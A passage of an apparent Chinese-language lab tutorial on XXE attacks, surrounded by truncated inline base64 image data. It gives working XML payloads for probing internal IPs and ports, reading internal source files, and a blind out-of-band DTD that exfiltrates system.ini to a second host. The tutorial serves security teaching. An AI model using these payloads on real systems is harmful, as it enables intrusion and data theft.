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" alt="" />

【利用3】内网ip探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144"> ]>
<creds>&goodies;</creds>
注:根据响应的时间的长短判断ip是否存在,可以通过burp重放遍历端口

【利用4】内网端口探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144:22"> ]>
<creds>&goodies;</creds>
注:根据响应的时间的长短判断端口是否开放,可以通过burp重放遍历端口;如果有报错,可以直接探测出banner信息。

【利用5】内网系统源码探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144/bWAPP/login.php"> ]>
<creds>&goodies;</creds>
注:审计源码,进一步发现内网系统漏洞(如sql注入),则可通过blind xxe进行注入
其他:通过jar协议上传文件;通过ftp协议结合 CRLF 注入攻击SMTP服务器

3.2 实验2(无回显)

测试demo:

<?php
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

【利用1】外带数据读取文件

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd">
%remote;%int;%send;
]>
http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.220.144:9999?p=%file;'>">

aaarticlea/png;base64,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